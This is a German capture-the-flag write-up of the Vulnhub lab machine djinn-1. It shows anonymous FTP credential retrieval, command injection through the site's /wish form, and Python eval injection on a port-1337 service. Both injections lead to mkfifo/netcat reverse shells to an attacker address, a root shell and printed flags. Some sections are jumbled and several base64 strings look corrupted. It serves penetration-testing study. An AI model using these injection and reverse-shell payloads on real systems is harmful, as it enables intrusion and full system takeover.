djinn-1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
wfuzz
nc
wget
ftp
vi
curl
at
file
cat
ls

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Aufklärung (Reconnaissance), um Informationen über das Zielsystem zu sammeln. Dies ist ein entscheidender Schritt, um potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.131 08:00:27:96:f8:c9 PCS Systemtechnik GmbH

Der Befehl arp-scan -l führt eine ARP-Anfrage im lokalen Netzwerk aus. Wir erhalten die IP-Adresse (192.168.2.131) und die MAC-Adresse (08:00:27:96:f8:c9) des Zielsystems. Die Information "PCS Systemtechnik GmbH" deutet auf den Hersteller der Netzwerkkarte hin.

**Empfehlung:** Das Filtern von ARP-Anfragen kann das Aufspüren von Geräten im Netzwerk erschweren.

/etc/hosts
192.168.2.131 djinn.vln

Die /etc/hosts Datei wurde um einen Eintrag für djinn.vln erweitert.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 23:38 CEST
Nmap scan report for djinn.vln (192.168.2.131)
Host is up (0.00014s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 11 ct 20 2019 creds.txt
| -rw-r--r-- 1 0 0 128 ct 21 2019 game.txt
|_-rw-r--r-- 1 0 0 113 ct 21 2019 message.txt
22/tcp filtered ssh
1337/tcp open waste?
| fingerprint-strings:
| NULL:
| ____ _____ _
| ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| / _ \x20 | | | | '_ ` _ \ / _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
| ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
| Let's see how good you are with simple maths
| Answer my questions 1000 times and I'll give you your gift.
| '+', 5)
| RPCCheck:
| ____ _____ _
| ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| / _ \x20 | | | | '_ ` _ \ / _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
| ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
| Let's see how good you are with simple maths
| Answer my questions 1000 times and I'll give you your gift.
|_ '/', 4)
7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
|_http-title: Lost in space
MAC Address: 08:00:27:96:F8:C9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Unix

Der Befehl nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 führt einen umfassenden Portscan auf dem Zielsystem durch und versucht, die Versionen der laufenden Dienste zu identifizieren. Wir stellen fest:

  • Port 21 (FTP): vsftpd 3.0.3 (Anonymous Login erlaubt)
  • Port 22 (SSH): gefiltert
  • Port 1337: Unbekannter Dienst (Waste?)
  • Port 7331 (HTTP): Werkzeug httpd 0.16.0 (Python 2.7.15+)
Der offene FTP-Port mit anonymem Login ist ein sehr interessanter Angriffspunkt. Die anderen Ports werden später genauer untersucht.

**Empfehlung:** Deaktivieren Sie anonyme FTP-Logins, um unbefugten Zugriff zu verhindern. Beschränken Sie den Zugriff auf unnötige Ports, um die Angriffsfläche zu verringern.

Web Enumeration

Nach der grundlegenden Aufklärung konzentrieren wir uns auf die Webanwendungen, die auf dem Zielsystem laufen. Wir nutzen verschiedene Tools, um versteckte Dateien und Verzeichnisse zu finden und die Angriffsfläche zu vergrößern.

└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://192.168.2.131:7331/FUZZ" --hc 404 --hh 0
Target: http://192.168.2.131:7331/FUZZ
000000001: 200 20 L 43 W 385 Ch "wish"
000000002: 200 40 L 91 W 1676 Ch "genie"

Der Befehl wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://192.168.2.131:7331/FUZZ" --hc 404 --hh 0 findet die Pfade /wish und /genie

└─# nikto -h http://djinn.vln:7331
- Nikto v2.5.0

+ Target IP: 192.168.2.131
+ Target Hostname: djinn.vln
+ Target Port: 7331
+ Start Time: 2024-09-22 00:18:38 (GMT2)

+ Server: Werkzeug/0.16.0 Python/2.7.15+
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Python/2.7.15+ appears to be outdated (current is at least 3.9.6).
+ PTIONS: Allowed HTTP Methods: HEAD, PTIONS, GET .
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7964 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2024-09-22 00:19:49 (GMT2) (71 seconds)

+ 1 host(s) tested

nikto -h http://djinn.vln:7331 identifiziert die verwendete Technologie auf der Webseite. Wir erhalten Informationen wie:

  • Werkzeug/0.16.0 Python/2.7.15+
  • Fehlende X-Frame-ptions und X-Content-Type-ptions Header (Sicherheitslücken)

**Empfehlung:** Konfigurieren Sie die fehlenden Sicherheitsheader und aktualisieren Sie die Python-Version.

Initial Access

In diesem Abschnitt versuchen wir, einen ersten Zugang zum System zu erlangen. Wir analysieren die gesammelten Informationen, um mögliche Schwachstellen zu identifizieren und auszunutzen.

└─# ftp 192.168.2.131
Connected to 192.168.2.131.
220 (vsFTPd 3.0.3)
Name (192.168.2.131:ccat): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Der anonyme FTP Login ist erfolgreich.

ftp> ls -la
229 Entering Extended Passive Mode (|||39999|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 115 4096 ct 21 2019 .
drwxr-xr-x 2 0 115 4096 ct 21 2019 ..
-rw-r--r-- 1 0 0 11 ct 20 2019 creds.txt
-rw-r--r-- 1 0 0 128 ct 21 2019 game.txt
-rw-r--r-- 1 0 0 113 ct 21 2019 message.txt
226 Directory send K.

Die Dateien "creds.txt", "game.txt" und "message.txt" sind im FTP-Verzeichnis vorhanden.

ftp> cd ../var/www
550 Failed to change directory.
ftp> put revshell.war
local: revshell.war remote: revshell.war
229 Entering Extended Passive Mode (|||33882|)
550 Permission denied.

Der Versuch, eine Reverse Shell hochzuladen, schlägt fehl, da keine Schreibrechte vorhanden sind.

└─# wget -r ftp://anonymous:anonymous@192.168.2.131
└─# ll
-rw-r--r-- 1 root root 11 20. kt 2019 creds.txt
-rw-r--r-- 1 root root 128 21. kt 2019 game.txt
-rw-r--r-- 1 root root 113 21. kt 2019 message.txt

Der Anonyme FTP Server wurde heruntergeladen.

└─# cat creds.txt
nitu:81299
└─# cat *
nitu:81299

oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.

@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.

Der Benutzer nitu und das Passwort 81299 wurden gefunden.

└─# nc -vv djinn.vln 1337
djinn.vln [192.168.2.131] 1337 (?) open
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|

Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(6, '+', 8)
> ls
Stop acting like a hacker for a damn minute!!

Ein einfacher nc zum Port 1337 und die Eingabe von ls quittiert das system mit "Stop acting like a hacker for a damn minute!!"

http://djinn.vln:7331/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A

Privilege Escalation

https://www.base64encode.org/encode : ls -la
http://djinn.vln:7331/wish
Eingabemaske: echo bHMgLWxh|base64 -d | bash
Antwort: http://djinn.vln:7331/genie?name=total+24%0Adrwxr-xr-x+4+www-data+www-data+4096+Nov+17++2019+.%0Adrwxr-xr-x+4+root+++++root+++++4096+Nov+14++2019+..%0A-rw-r--r--+1
+www-data+www-data+1323+Nov+13++2019+app.py%0A-rw-r--r--+1+www-data+www-data+1846+Nov+14++2019+app.pyc%0Adrwxr-xr-x+5+www-data+www-data+4096+Nov+13++2019+static%0Adrwxr-xr-x
+2+www-data+www-data+4096+Nov+14++2019+templates%0A

total 24
drwxr-xr-x 4 www-data www-data 4096 Nov 17 2019 .
drwxr-xr-x 4 root root 4096 Nov 14 2019 ..
-rw-r--r-- 1 www-data www-data 1323 Nov 13 2019 app.py
-rw-r--r-- 1 www-data www-data 1846 Nov 14 2019 app.pyc
drwxr-xr-x 5 www-data www-data 4096 Nov 13 2019 static
drwxr-xr-x 2 www-data www-data 4096 Nov 14 2019 templates

Ein erster Befehl wurde erfolgreich mit wish ausgeführt.

https://www.base64encode.org/encode : ls /home
http://djinn.vln:7331/wish
Eingabemaske: echo bHMgL2hvbWU=|base64 -d | bash
Antwort: http://djinn.vln:7331/genie?name=nitish%0Asam%0A

Die Homeverzeichnisse wurden enumariert.

https://www.base64encode.org/encode : ls /home/nitish/
http://djinn.vln:7331/wish
Eingabemaske: echo bHMgL2hvbWUvbml0aXNoLw|base64 -d | bash
Antwort: http://djinn.vln:7331/genie?name=user.txt%0A

Die user.txt Flag konnte gefunden werden.

https://www.base64encode.org/encode : cat /home/nitish/user.txt

cat der user.txt.

http://djinn.vln:7331/wish

Eingabemaske: echo cm0gL3RtcC9m21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2C4yLjE5SA5Tk5ID4vdG1wL2Y=|base64 -d | bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 9999 >/tmp/f

Antwort: http://djinn.vln:7331/genie?name=nitish%0Asam%0A
└─# nc -lvnp 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 9999 >/tmp/f
└─# nc -lvnp 4444
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.131] 42832 /bin/sh: 0: can't access tty; job control turned off #

Privilege Escalation

www-data@djinn:/opt/80/static$ cd /var/mail/
www-data@djinn:/var/mail$ ls -la
total 8
drwxrwsr-x 2 root mail 4096 Apr 26 2018 .
drwxr-xr-x 13 root root 4096 ct 20 2019 ..
www-data@djinn:/var/mail$ cd /opt/
www-data@djinn:/opt$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Nov 14 2019 .
drwxr-xr-x 23 root root 4096 Nov 11 2019 ..
drwx------ 2 sam nitish 4096 Nov 17 2019 1337
drwxr-xr-x 4 www-data www-data 4096 Nov 17 2019 80

Directory Enumeration

www-data@djinn:/opt$ cd 1337/
bash: cd: 1337/: Permission denied
www-data@djinn:/opt$ cd /opt/80/
www-data@djinn:/opt/80$ ls -la
total 24
drwxr-xr-x 4 www-data www-data 4096 Nov 17 2019 .
drwxr-xr-x 4 root root 4096 Nov 14 2019 ..
-rw-r--r-- 1 www-data www-data 1323 Nov 13 2019 app.py
-rw-r--r-- 1 www-data www-data 1846 Nov 14 2019 app.pyc
drwxr-xr-x 5 www-data www-data 4096 Nov 13 2019 static
drwxr-xr-x 2 www-data www-data 4096 Nov 14 2019 templates
www-data@djinn:/opt/80$ cd /var/backups/
www-data@djinn:/var/backups$ ls -la
total 684
drwxr-xr-x 2 root root 4096 Sep 22 02:56 .
drwxr-xr-x 13 root root 4096 ct 20 2019 ..
-rw-r--r-- 1 root root 51200 Nov 12 2019 alternatives.tar.0
-rw-r--r-- 1 root root 7459 Nov 17 2019 apt.extended_states.0
-rw-r--r-- 1 root root 863 Nov 13 2019 apt.extended_states.1.gz
-rw-r--r-- 1 root root 864 Nov 12 2019 apt.extended_states.2.gz
-rw-r--r-- 1 root root 825 Nov 11 2019 apt.extended_states.3.gz
-rw-r--r-- 1 root root 798 ct 21 2019 apt.extended_states.4.gz
-rw-r--r-- 1 root root 11 ct 20 2019 dpkg.arch.0
-rw-r--r-- 1 root root 437 ct 20 2019 dpkg.diversions.0
-rw-r--r-- 1 root root 170 ct 20 2019 dpkg.statoverride.0
-rw-r--r-- 1 root root 582075 Nov 11 2019 dpkg.status.0
-rw------- 1 root root 757 Nov 7 2019 group.bak
-rw------- 1 root shadow 629 Nov 7 2019 gshadow.bak
-rw------- 1 root root 1653 Nov 11 2019 passwd.bak
-rw------- 1 root shadow 1173 Nov 11 2019 shadow.bak
www-data@djinn:/var/backups$ sudo -l
[www-data@djinn:/var/backups$ ]ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 64 0.0.0.0:1337 0.0.0.0:* LISTEN 0 128 0.0.0.0:7331 0.0.0.0:* users:(("ss",pid=26321,fd=3)

Directory Enumeration

find / -type f -perm -4000 -ls 2>/dev/null
137793 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils 148056 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at 139237 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec 134406 76 -rwsr-xr-x 1 root root 75824 Mar 23 2019 /usr/bin/gpasswd 134403 76 -rwsr-xr-x 1 root root 76496 Mar 23 2019 /usr/bin/chfn 149894 40 -rwsr-xr-x 1 root root 37136 Mar 23 2019 /usr/bin/newgidmap 139582 72 -rwsr-x 1 sam nitish 72000 Nov 11 2019 /usr/bin/genie 131086 40 -rwsr-xr-x 1 root root 40344 Mar 23 2019 /usr/bin/newgrp 134407 60 -rwsr-xr-x 1 root root 59640 Mar 23 2019 /usr/bin/passwd 149895 40 -rwsr-xr-x 1 root root 37136 Mar 23 2019 /usr/bin/newuidmap 134404 44 -rwsr-xr-x 1 root root 44528 Mar 23 2019 /usr/bin/chsh 131190 148 -rwsr-xr-x 1 root root 149080 ct 11 2019 /usr/bin/sudo 131533 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 148420 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign 148272 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 150042 108 -rwsr-sr-x 1 root root 109432 Jul 12 2019 /usr/lib/snapd/snap-confine 139239 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 133537 44 -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 524804 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping 524313 44 -rwsr-xr-x 1 root root 43088 Aug 23 2019 /bin/mount 535644 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount 524322 28 -rwsr-xr-x 1 root root 26696 Aug 23 2019 /bin/umount 524321 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /bin/su
Das Programm /usr/bin/genie sticht direkt ins Auge
CMMAND=id
echo "$COMMAND" | at now
Die /usr/bin/genie bin nicht vorhanden. Es wird der at Befehl verwendet um eine Command injection zu testen. at Befehl erfolgreich. Da at befehle nicht als www-data user laufen, versuche ich es über port 1337
Eval Injection über das Mathe Spiel
            

└─# nc -vv djinn.vln 1337
djinn.vln [192.168.2.131] 1337 (?) open
    ____                        _____ _                
   / ___| __ _ _ __ ___   ___  |_   _(_)_ __ ___   ___ 
  | |  _ / _` | '_ ` _ \ / _ \   | | | | '_ ` _ \ / _ \
  | |_| | (_| | | | | | |  __/   | | | | | | | | |  __/
   \____|\__,_|_| |_| |_|\___|   |_| |_|_| |_| |_|\___|
                                                       

Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(5, '*', 4)
> eval('__import__("os").system("id")')

uid=0(root) gid=0(root) groups=0(root)

└─# nc -vv djinn.vln 1337 djinn.vln [192.168.2.131] 1337 (?) open ____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (3, '*', 6) > eval('__import__("os").system("nc -e /bin/bash 192.168.2.199 4444")') nc: invalid option -- 'e' usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl] [-m minttl] [- length] [-P proxy_username] [-p source_port] [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port] Wrong answer
Erneuter nc versuch mit parameter -e nicht erfolgreich
Eval Injection - Reverse Shell versuch 2 Verwende mkfifo wie im ersten versuch und sende eine Root Shell
└─# nc -vv djinn.vln 1337 djinn.vln [192.168.2.131] 1337 (?) open ____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (1, '+', 8) > eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f")')
nc -lvnp 4444
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.131] 42832 /bin/sh: 0: can't access tty; job control turned off #
id id uid=0(root) gid=0(root) groups=0(root)
Reverse Shell ist erfolgreich mit Root Rechten.
listete mit ls -al den inhalt aus
           
# ./proof.sh
TERM environment variable not set.
    _                        _             _ _ _ 
   / \   _ __ ___   __ _ ___(_)_ __   __ _| | | |
  / _ \ | '_ ` _ \ / _` |_  / | '_ \ / _` | | | |
 / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/   \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
                                     |___/       
djinn pwned...
__________________________________________________________________________

Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc
Path: /root
Date: Sun Sep 22 05:01:28 IST 2024
Whoami: root
__________________________________________________________________________

By @0xmzfr

Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
# cd nitish # ls user.txt # cat user.txt 10aay8289ptgguy1pvfa73alzusyyx3c SSTI Python Attack Ende : Privilege Escalation erfolgreich
cat des User Flags:
cat proof.txt 33eur2wjdmq80z47nyy4fx54bnlg3ibc

Flags

# cat user.txt
10aay8289ptgguy1pvfa73alzusyyx3c
cat des User Flags:
cat proof.txt 33eur2wjdmq80z47nyy4fx54bnlg3ibc
cat des Root Flags: